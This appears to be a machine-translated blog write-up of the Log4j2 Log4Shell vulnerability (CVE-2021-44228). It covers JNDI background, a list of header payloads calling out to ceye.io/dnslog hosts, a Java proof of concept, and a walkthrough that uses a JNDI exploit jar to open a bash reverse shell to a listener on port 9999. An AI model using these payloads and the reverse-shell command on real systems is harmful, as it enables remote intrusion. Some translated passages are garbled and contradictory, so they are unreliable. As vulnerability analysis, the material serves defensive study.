The Remote Code Execution Vulnerability of log4j2 [cve-2021-44228] exposed on December 8, 2021 can be called an epic nuclear bomb vulnerability. Although after such a long time, most of the relevant vulnerabilities in the current network have been repaired, they can still be found... Many leaders and research institutions on the Internet have analyzed and repeated the vulnerability, and they are busy year before and year after year, I haven't analyzed and summarized the loophole well, but I just made it up after learning recently.

Vulnerability description and impact

Log4j is an open source project of Apache. It is a Java based logging framework. Log4j2 is the successor of log4j and is widely used in business system development to record log information. Many Internet companies and familiar companies use the framework in their systems. After the Apache Log4j2 component has enabled the logging function, it can be successfully exploited by inserting exploit code where the error logging can be triggered. Under special circumstances, if the logs recorded by this component include the logs recorded by other systems, it may cause indirect poisoning. Through the intermediate system, the component can indirectly read the offensive vulnerability utilization code, which can also indirectly trigger the vulnerability.

At the same time, the vulnerability also affects the common open source components of many Top sequences used worldwide, such as Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc

User authentication: no user authentication is required

Trigger mode: Remote

Configuration method: default

Utilization conditions: access to external network is required

Affected version: 2.0 ≤ Apache Log4j2 < 2.15.0-rc2

Utilization difficulty: extremely low, remote code execution without authorization

Threat level: serious, which can cause remote code execution

According to the comprehensive assessment, the vulnerability utilization is extremely difficult, the utilization requirements are few, the scope of influence is large, and the harm is extremely serious. It has been publicly used by hackers and continuously scanned the whole network. According to the requirements of the Ministry, it needs to be repaired urgently.

Vulnerability analysis

The main reason for this vulnerability is that log4j does not strictly restrict the legitimacy of characters in the log output, and executes the remote malicious script loaded by JNDI protocol, resulting in RCE. A key point here is, what is JNDI and why JNDI can cause RCE
[detailed explanation of Java JNDI usage] https://blog.csdn.net/qinwuxian19891211/article/details/108969927 , this article is a good introduction to what JNDI is. Here, the key parts of the article are excerpted for explanation,

JNDI(Java Naming and Directory Interface–Java Naming and Directory Interface) yes Java Provides an interface for naming and directory services in API，By name, JNDI It mainly consists of two parts: Naming(Naming) and Directory(Directory), where Naming Binding an object to a context through a unique identifier Context，At the same time, the object can be found through the unique identifier, and Directory It mainly refers to binding the attributes of an object to Directory Context of DirContext At the same time, the properties of the object can be obtained by name, and the properties can be operated at the same time.
JNDI Mainly by JNDI API and JNDI SPI Two parts, Java Application passed JNDI API Access directory services, and JNDI API Will call Naming Manager instantiation  JNDI SPI，Then pass JNDI SPI To operate a naming or directory service, such as LDAP， DNS，RMI Wait, JNDI Internal control has been realized LDAP，DNS， RMI Wait for the operation of the directory server API. 

There is a very important point. java applications can call JNDI protocol to access remote services. The bottom layer includes the calls of RMI, LDAP, DNS and other protocols. The white point is that remote related directory services can be accessed through JNDI. The attack payload in this outbreak calls remote malicious class es through JNDI, and then local deserialization is executed. It is similar to the previous fastjson attacks. It involves the knowledge of JNDI injection and java deserialization vulnerabilities, which can be explained as a separate article. Here, it will only be related to log4j this vulnerability. For details, please refer to an article on the Internet[ In depth understanding of JNDI injection and Java deserialization vulnerability exploitation]
First, let's take a look at the log4j payload collected:

X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

And some deformed payload s:

The forms of these payload s are mostly similar to this:
${jndi:ldap://xxxx.com.cn }, we can see what happens when we use log4j to output the above string directly in the code

//Firstly, the log4j package containing vulnerabilities is introduced into the pom file
  <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
   </dependencies>

// Directly output the query of dnslog containing ldap in the code,
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {
    private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
    public static void main(String[] args) {
        logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");
    }
}

Run the above code and observe that there is a reverse check record on dnslog, indicating that the application looks up log4j voxxaq. dnslog. Cn this domain name, has left the search record

Since it can be accessed remotely, what is returned? Is it possible to load malicious classes on the remote server? The answer is yes. We only need to build an ldap or rmi remote service to make the remote server return malicious classes, as shown in the figure

verification

According to the above ideas, first prepare ldap or rmi services on the remote server. Here we use the ready-made tool [JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar]. The great God is ready on github. The function of this jar package is to open ldap and rmi services on the server and customize the code to be executed. The command execution format is as follows:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"

Parameter A is the IP of the remote server. We just need to focus on the payload and turn it into the code to be executed. Here, we directly rebound A shell, and the payload is
Bash - I > & / dev / TCP / ServerIP / port 0 > & 1, because it contains special symbols such as &. In order to prevent unsuccessful execution, change the writing method to bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i}, which is essentially the same as the previous one, except that the front payload is encoded by Base64 before decoding.
After execution, the output is as follows:
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (IMG wuxiaher-16447636746) (vx_images / 87154923231691. PNG)]
In the above, rmi and ldap monitoring services are enabled on ports 1099 and 1389 respectively, waiting for jndi connection. At the same time, we also open a rebound monitoring port on port 9999 and wait for the rebound shell to go online.

nc -lvvp 9999

Here, we can directly use the local vulnerability environment or the online shooting range environment on volfocus. Start the local spring boot service with vulnerabilities, as shown in the figure:

In the above environment, there is a vulnerability of log4j2 in X-Api-Version in request header. Send the request directly in postman:

Observe the remote server:

Then observe the rebound 9999 port:

You can see the rebound shell above and successfully go online.

repair

From the previous analysis and verification, it can be seen that the vulnerability can directly load remote code and rebound the shell, which is very harmful. The jar package of log4j2 needs to be upgraded to 2.17-rc2 or above